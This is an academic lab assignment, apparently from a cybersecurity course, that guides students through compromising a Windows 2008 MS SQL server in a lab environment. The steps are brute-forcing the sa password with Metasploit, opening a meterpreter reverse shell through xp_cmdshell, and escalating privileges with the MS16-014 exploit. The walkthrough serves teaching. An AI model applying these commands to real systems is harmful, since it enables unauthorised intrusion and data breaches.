Project-3: Privilege Escalation-2
In this project, you are assigned to gain privileged access to Windows 2008 Server in a CTF
(Capture-the-Flag) event. You will discover that Windows 2008 has a vulnerable MS SQL
Service. First, you will exploit these services by using the Metasploit Framework to gain an
unprivileged shell. You will use the "exploit suggester” module of the Metasploit Framework
and try to gain a privileged shell. In your first try, you will be able to get a privileged shell.
Reminder
Please skim the specified chapters of the book (Metasploit 5.0 for beginners 2nd ed.) before
starting this project.
Computers
Notes:
1) You will perform all of your actions from Kali Linux.
2) You cannot copy and paste between your computer and the computers on the Netlab
environment; however, it will be quicker and more reliable if you use the tab key after writing
the first 2-3 letters of each command/command parameters in Metasploit.
3) Use CTRL – to shrink the fonts on the Kali Linux terminal window; alternatively you can click on
the View on the menu bar and then Shrink Font menu item.
4) If you get an error like "Meterpreter session # closed. Reason: Died", terminate your reservation
and restart the lab unless otherwise specified. The reason for this error is the timeout of the
session. IN the second reservation, go through the steps more quickly.
Steps of Hacking
1) Scan the network to check for MS SQL service
2) Crack the sa password
3) Get a shell
4) Confirm that the shell is low-privileged
5) Get a high-privileged shell
6) Confirm that the shell is high-privileged
7) Gave rise to an information security breach
The List of Actions/Commands per Step
1. Scan the network to check for MS SQL service
In this part, scan all computers in the network for MS SQL Server service (Port 1433). Use the service
detection option you used last week.
Run the Nmap with the options described above and take a screenshot(s) of the result that is
showing that the port is open on Windows 2008.
Type the command here
2. Crack the sa password
sa is the most privileged account in an SQL server. This account is usually targeted by hackers, as you
will do in this part. You will use Metasploit to crack the password of the sa account in this part.
Command Notes
gunzip /usr/share/wordlists/rockyou.txt.gz Decompress the password dictionary
msfconsole Open Metasploit
search mssql_login Find a relevant Metasploit module
Type the command here Type in the required command
show options See a list of available options. Confirm that the
username option has already been set as "sa”.
But you still need to set some options.
Type the command here Set the remote host (SQL Server) to connect, and
then the Metasploit module will try passwords
remotely by brute-forcing
Type the command here Check the username; if you see roo, you have to
change it with the correct one
set pass_file /usr/share/wordlists/rockyou.txt This is the password list (dictionary) you
compressed. You will use this to crack the
password.
set verbose false Type in this command if you don't want to see a
message for all failed login attempts.
run Take a screenshot of the terminal window
showing the password of the sa account.
Note: Take a note of this password; you will use
it later on.
The completion of this command will take about
80 seconds.
3. Get a shell
In this part, you will try to get a shell from Windows 2008 using the xp_cmdshell procedure on MS
SQL Server. xp_cmdshell is a dangerous and extended procedure that enables interaction between
the MS SQL server and the operating system. You can run Windows commands from SQL server and
perform operations like copying files, creating folders, and many others.
In this part, you will use a Metasploit payload that exploits xp_cmdshell to create a shell.
search mssql_payload Search Metasploit for possible MS SQL payloads
use exploit/windows/mssql/mssql_payload This is the Metasploit payload that uses the
xp_cmdshell procedure on MS SQL Server
show options See the possible options for this payload. By
default, the username option has already been
set as “sa”.
Type the command here Did you see that the RHOSTS parameter is blank?
Set it as Windows 2008 server. RPORT has
already been set as 1433.
Type the command here Set the password of the sa account you cracked
in the previous part
set payload
windows/x64/meterpreter/reverse_tcp
You have to set the payload option, although it
has not been shown in the options list. This is a
global option that applies mssql_payload exploit.
Note that mssql_payload uses the xp_cmdshell
procedure; however, it needs a mechanism to
handle the MS SQL server traffic. This is similar
to the analog RC car and RC remote control;
remember from the Project-1.
Type the command here You have to assign the local counterpart of the
host.
set lport 443 You have to assign the local counterpart of the
port number.
run or exploit You should be getting a shell after running the
exploit.
4. Confirm that the shell is low-privileged
Now try some commands to check your privilege level on the shell.
Commands Notes
shell Switch to Windows 2008 native shell
whoami See the currently logged-on user name.
It is probably a low-privileged shell. Let’s try
doing something that requires privileges.
Type the command here Try to add a user account from the command
line.
Take a screenshot of the terminal window
showing the result.
Exit Exit from the Window 2008 shell and return to
meterpreter shell
5. Get a high-privileged shell
In this part, you will use the exploit suggester module to find some exploits for privilege escalation,
and then use one of these exploits.
background Don’t forget to note the id of the session
search suggester This command is to search for the keyword
“suggester” and find the correct name of the
suggester module.set
Type the command here Type in the correct command
show options
Type the command here Write the correct command
run or exploit Run exploit suggester, so that it will suggest
some exploits to run on the low-privileged shell
to get a high-privileged shell.
Type the command here Use ms16_014_wmi_recv_notif.
Type in the correct command
show options
set session # The same session ID should put here as the one
you chose for the exploit suggester. Remember,
you are trying the exploits suggested by the
local_exploit_suggester.
run or exploit After running the exploit, you should see the
message "Exploit completed, but no session was
created."
show options This time you will see the options of the payload
(reverse_shell_tcp)
Type the command here Set the first option of the payload
Type the command here Set the second option of the payload option
run or exploit You should be getting a shell after running the
exploit. You will see a Windows shell instead of a
meterpreter shell. (Press enter once)
6. Confirm that the shell is high-privileged
Now check if you have the privilege to perform the dangerous actions.
whoami Take a screenshot of the terminal window
showing the username.
7. Gave rise to an information security breach
Type the command(s) here Did something that will cause loss of
confidentiality, integrity, or availability on the
target system. Provide the details. Take
screenshots. Please perform anything other than
you did in the Project-2. (Don’t create a user
account)
Weekly Learning and Reflection
In two to three paragraphs (i.e., sentences, not bullet lists) using APA style citations if needed,
summarize, and interact with the content covered in this project. Summarize what you did as an
attacker, what kind of vulnerabilities did you exploit, what might have prevented these attacks. Mention
the attackers and all of the targets in your summary. You can provide topologies, sketches, graphics if
you want. In particular, highlight what surprised, enlightened, or otherwise engaged you. You should
think and write critically, not just about what was presented but also what you have learned through the
session. You can ask questions for the things you're confused about. Questions asked here will be
summarized and answered anonymously in the next class.

More Related Content

DOC
Exploit Frameworks
PDF
Privileges Escalation by Exploiting Client-Side Vulnerabilities Using Metasploit
DOCX
Different type of shells In Netapp Cluster mode 8.X and how to access them t...
DOCX
"PHP from soup to nuts" -- lab exercises
DOCX
Backtrack Manual Part7
PDF
XPages Blast - ILUG 2010
PDF
BestInFlowCompetitionTutorials03May2023
PDF
Lab 1 Essay
Exploit Frameworks
Privileges Escalation by Exploiting Client-Side Vulnerabilities Using Metasploit
Different type of shells In Netapp Cluster mode 8.X and how to access them t...
"PHP from soup to nuts" -- lab exercises
Backtrack Manual Part7
XPages Blast - ILUG 2010
BestInFlowCompetitionTutorials03May2023
Lab 1 Essay

Similar to P3.docx (20)

PDF
Experimentos lab
PPTX
Power Shell for System Admins - By Kaustubh
PDF
24 33 -_metasploit
DOCX
MKT 100Week 6 Assignment{Enter Student Name Here}{Enter Bu.docx
PDF
[xp2013] Narrow Down What to Test
DOCX
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
DOCX
Google Hacking Lab ClassNameDate This is an introducti.docx
PPTX
Chapter 2.4
PDF
Reverse engineering - Shellcodes techniques
DOCX
Handson1 6 federp
PDF
Penetration Testing for Easy RM to MP3 Converter Application and Post Exploit
PDF
Advanced Search with Solr - User Guide
ODT
Kioptrix 2014 5
PDF
Learn Powershell Scripting Tutorial Full Course 1dollarcart.com.pdf
PPTX
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
PPTX
Memory profiler and garbage collector in C#
DOCX
ARMITAGE-THE CYBER ATTACK MANAGEMENT
RTF
Readme
PDF
Openfire xmpp server on windows server 2012 r2 with spark sso
Experimentos lab
Power Shell for System Admins - By Kaustubh
24 33 -_metasploit
MKT 100Week 6 Assignment{Enter Student Name Here}{Enter Bu.docx
[xp2013] Narrow Down What to Test
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Google Hacking Lab ClassNameDate This is an introducti.docx
Chapter 2.4
Reverse engineering - Shellcodes techniques
Handson1 6 federp
Penetration Testing for Easy RM to MP3 Converter Application and Post Exploit
Advanced Search with Solr - User Guide
Kioptrix 2014 5
Learn Powershell Scripting Tutorial Full Course 1dollarcart.com.pdf
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
Memory profiler and garbage collector in C#
ARMITAGE-THE CYBER ATTACK MANAGEMENT
Readme
Openfire xmpp server on windows server 2012 r2 with spark sso
Ad

Recently uploaded (20)

DOCX
Handbook of entrepreneurship- Chapter 7- Types of business organisations
PDF
Highest-Paid CEO in 2025_ You Won’t Believe Who Tops the List.pdf
PPT
Retail Management and Retail Markets and Concepts
PPTX
IMM marketing mix of four ps give fjcb jjb
PDF
Cross-Cultural Leadership Practices in Education (www.kiu.ac.ug)
PPTX
operations management : demand supply ch
PDF
Value-based IP Management at Siemens: A Cross-Divisional Analysis
PDF
#1 Safe and Secure Verified Cash App Accounts for Purchase.pdf
PPTX
interschool scomp.pptxzdkjhdjvdjvdjdhjhieij
PPTX
Chapter 2 strategic Presentation (6).pptx
PDF
income tax laws notes important pakistan
PDF
Vinod Bhatt - Most Inspiring Supply Chain Leader in India 2025.pdf
PDF
HQ #118 / 'Building Resilience While Climbing the Event Mountain
PDF
Robin Fischer: A Visionary Leader Making a Difference in Healthcare, One Day ...
PPTX
Transportation in Logistics management.pptx
PPTX
CTG - Business Update 2Q2025 & 6M2025.pptx
PPTX
chapter 2 entrepreneurship full lecture ppt
PDF
Tortilla Mexican Grill 发射点犯得上发射点发生发射点犯得上发生
PPTX
Project Management_ SMART Projects Class.pptx
DOCX
Handbook of Entrepreneurship- Chapter 5: Identifying business opportunity.docx
Handbook of entrepreneurship- Chapter 7- Types of business organisations
Highest-Paid CEO in 2025_ You Won’t Believe Who Tops the List.pdf
Retail Management and Retail Markets and Concepts
IMM marketing mix of four ps give fjcb jjb
Cross-Cultural Leadership Practices in Education (www.kiu.ac.ug)
operations management : demand supply ch
Value-based IP Management at Siemens: A Cross-Divisional Analysis
#1 Safe and Secure Verified Cash App Accounts for Purchase.pdf
interschool scomp.pptxzdkjhdjvdjvdjdhjhieij
Chapter 2 strategic Presentation (6).pptx
income tax laws notes important pakistan
Vinod Bhatt - Most Inspiring Supply Chain Leader in India 2025.pdf
HQ #118 / 'Building Resilience While Climbing the Event Mountain
Robin Fischer: A Visionary Leader Making a Difference in Healthcare, One Day ...
Transportation in Logistics management.pptx
CTG - Business Update 2Q2025 & 6M2025.pptx
chapter 2 entrepreneurship full lecture ppt
Tortilla Mexican Grill 发射点犯得上发射点发生发射点犯得上发生
Project Management_ SMART Projects Class.pptx
Handbook of Entrepreneurship- Chapter 5: Identifying business opportunity.docx
Ad

P3.docx

  • 1. Project-3: Privilege Escalation-2 In this project, you are assigned to gain privileged access to Windows 2008 Server in a CTF (Capture-the-Flag) event. You will discover that Windows 2008 has a vulnerable MS SQL Service. First, you will exploit these services by using the Metasploit Framework to gain an unprivileged shell. You will use the "exploit suggester” module of the Metasploit Framework and try to gain a privileged shell. In your first try, you will be able to get a privileged shell. Reminder Please skim the specified chapters of the book (Metasploit 5.0 for beginners 2nd ed.) before starting this project. Computers Notes: 1) You will perform all of your actions from Kali Linux. 2) You cannot copy and paste between your computer and the computers on the Netlab environment; however, it will be quicker and more reliable if you use the tab key after writing the first 2-3 letters of each command/command parameters in Metasploit. 3) Use CTRL – to shrink the fonts on the Kali Linux terminal window; alternatively you can click on the View on the menu bar and then Shrink Font menu item. 4) If you get an error like "Meterpreter session # closed. Reason: Died", terminate your reservation and restart the lab unless otherwise specified. The reason for this error is the timeout of the session. IN the second reservation, go through the steps more quickly. Steps of Hacking 1) Scan the network to check for MS SQL service 2) Crack the sa password 3) Get a shell
  • 2. 4) Confirm that the shell is low-privileged 5) Get a high-privileged shell 6) Confirm that the shell is high-privileged 7) Gave rise to an information security breach The List of Actions/Commands per Step 1. Scan the network to check for MS SQL service In this part, scan all computers in the network for MS SQL Server service (Port 1433). Use the service detection option you used last week. Run the Nmap with the options described above and take a screenshot(s) of the result that is showing that the port is open on Windows 2008. Type the command here 2. Crack the sa password sa is the most privileged account in an SQL server. This account is usually targeted by hackers, as you will do in this part. You will use Metasploit to crack the password of the sa account in this part. Command Notes gunzip /usr/share/wordlists/rockyou.txt.gz Decompress the password dictionary msfconsole Open Metasploit search mssql_login Find a relevant Metasploit module Type the command here Type in the required command show options See a list of available options. Confirm that the username option has already been set as "sa”. But you still need to set some options.
  • 3. Type the command here Set the remote host (SQL Server) to connect, and then the Metasploit module will try passwords remotely by brute-forcing Type the command here Check the username; if you see roo, you have to change it with the correct one set pass_file /usr/share/wordlists/rockyou.txt This is the password list (dictionary) you compressed. You will use this to crack the password. set verbose false Type in this command if you don't want to see a message for all failed login attempts. run Take a screenshot of the terminal window showing the password of the sa account. Note: Take a note of this password; you will use it later on. The completion of this command will take about 80 seconds. 3. Get a shell In this part, you will try to get a shell from Windows 2008 using the xp_cmdshell procedure on MS SQL Server. xp_cmdshell is a dangerous and extended procedure that enables interaction between the MS SQL server and the operating system. You can run Windows commands from SQL server and perform operations like copying files, creating folders, and many others. In this part, you will use a Metasploit payload that exploits xp_cmdshell to create a shell. search mssql_payload Search Metasploit for possible MS SQL payloads use exploit/windows/mssql/mssql_payload This is the Metasploit payload that uses the xp_cmdshell procedure on MS SQL Server show options See the possible options for this payload. By default, the username option has already been set as “sa”. Type the command here Did you see that the RHOSTS parameter is blank? Set it as Windows 2008 server. RPORT has already been set as 1433. Type the command here Set the password of the sa account you cracked in the previous part set payload windows/x64/meterpreter/reverse_tcp You have to set the payload option, although it has not been shown in the options list. This is a global option that applies mssql_payload exploit. Note that mssql_payload uses the xp_cmdshell procedure; however, it needs a mechanism to handle the MS SQL server traffic. This is similar to the analog RC car and RC remote control; remember from the Project-1. Type the command here You have to assign the local counterpart of the host. set lport 443 You have to assign the local counterpart of the port number.
  • 4. run or exploit You should be getting a shell after running the exploit. 4. Confirm that the shell is low-privileged Now try some commands to check your privilege level on the shell. Commands Notes shell Switch to Windows 2008 native shell whoami See the currently logged-on user name. It is probably a low-privileged shell. Let’s try doing something that requires privileges. Type the command here Try to add a user account from the command line. Take a screenshot of the terminal window showing the result. Exit Exit from the Window 2008 shell and return to meterpreter shell 5. Get a high-privileged shell In this part, you will use the exploit suggester module to find some exploits for privilege escalation, and then use one of these exploits. background Don’t forget to note the id of the session search suggester This command is to search for the keyword “suggester” and find the correct name of the suggester module.set Type the command here Type in the correct command show options Type the command here Write the correct command run or exploit Run exploit suggester, so that it will suggest some exploits to run on the low-privileged shell to get a high-privileged shell. Type the command here Use ms16_014_wmi_recv_notif. Type in the correct command show options set session # The same session ID should put here as the one you chose for the exploit suggester. Remember, you are trying the exploits suggested by the local_exploit_suggester. run or exploit After running the exploit, you should see the message "Exploit completed, but no session was created." show options This time you will see the options of the payload (reverse_shell_tcp) Type the command here Set the first option of the payload Type the command here Set the second option of the payload option run or exploit You should be getting a shell after running the exploit. You will see a Windows shell instead of a meterpreter shell. (Press enter once)
  • 5. 6. Confirm that the shell is high-privileged Now check if you have the privilege to perform the dangerous actions. whoami Take a screenshot of the terminal window showing the username. 7. Gave rise to an information security breach Type the command(s) here Did something that will cause loss of confidentiality, integrity, or availability on the target system. Provide the details. Take screenshots. Please perform anything other than you did in the Project-2. (Don’t create a user account) Weekly Learning and Reflection In two to three paragraphs (i.e., sentences, not bullet lists) using APA style citations if needed, summarize, and interact with the content covered in this project. Summarize what you did as an attacker, what kind of vulnerabilities did you exploit, what might have prevented these attacks. Mention the attackers and all of the targets in your summary. You can provide topologies, sketches, graphics if you want. In particular, highlight what surprised, enlightened, or otherwise engaged you. You should think and write critically, not just about what was presented but also what you have learned through the session. You can ask questions for the things you're confused about. Questions asked here will be summarized and answered anonymously in the next class.